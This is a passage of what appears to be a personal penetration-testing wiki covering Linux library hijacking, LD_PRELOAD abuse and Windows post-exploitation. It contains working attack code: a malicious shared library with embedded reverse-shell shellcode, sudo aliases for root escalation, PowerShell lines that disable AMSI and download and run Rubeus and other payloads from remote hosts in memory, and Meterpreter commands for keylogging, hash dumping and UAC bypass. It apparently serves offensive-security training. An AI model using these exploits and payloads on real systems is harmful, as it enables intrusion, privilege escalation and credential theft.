* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
